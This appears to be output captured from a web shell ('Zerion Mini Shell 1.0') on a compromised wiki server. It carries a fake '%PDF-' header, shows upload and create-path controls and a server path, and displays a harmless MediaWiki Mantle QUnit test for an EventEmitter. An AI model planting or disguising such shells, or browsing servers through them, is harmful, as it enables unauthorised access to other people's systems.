%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/extensions/Mantle/tests/javascripts/common/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/extensions/Mantle/tests/javascripts/common/test_eventemitter.js

( function( M ) {

	var EventEmitter = M.require( 'eventemitter' );

	QUnit.module( 'Mantle EventEmitter' );

	QUnit.test( '#on', 1, function( assert ) {
		var e = new EventEmitter(), spy = this.sandbox.spy();
		e.on( 'testEvent', spy );
		e.emit( 'testEvent', 'first', 2 );
		assert.ok( spy.calledWith( 'first', 2 ), 'run callback when event runs' );
	} );

	QUnit.test( '#one', 2, function( assert ) {
		var e = new EventEmitter(), spy = this.sandbox.spy();
		e.one( 'testEvent', spy );
		e.emit( 'testEvent', 'first', 2 );
		e.emit( 'testEvent', 'second', 2 );
		assert.ok( spy.calledWith( 'first', 2 ), 'run callback when event runs' );
		assert.ok( spy.calledOnce, 'run callback once' );
	} );

}( mw.mantle ) );

Zerion Mini Shell 1.0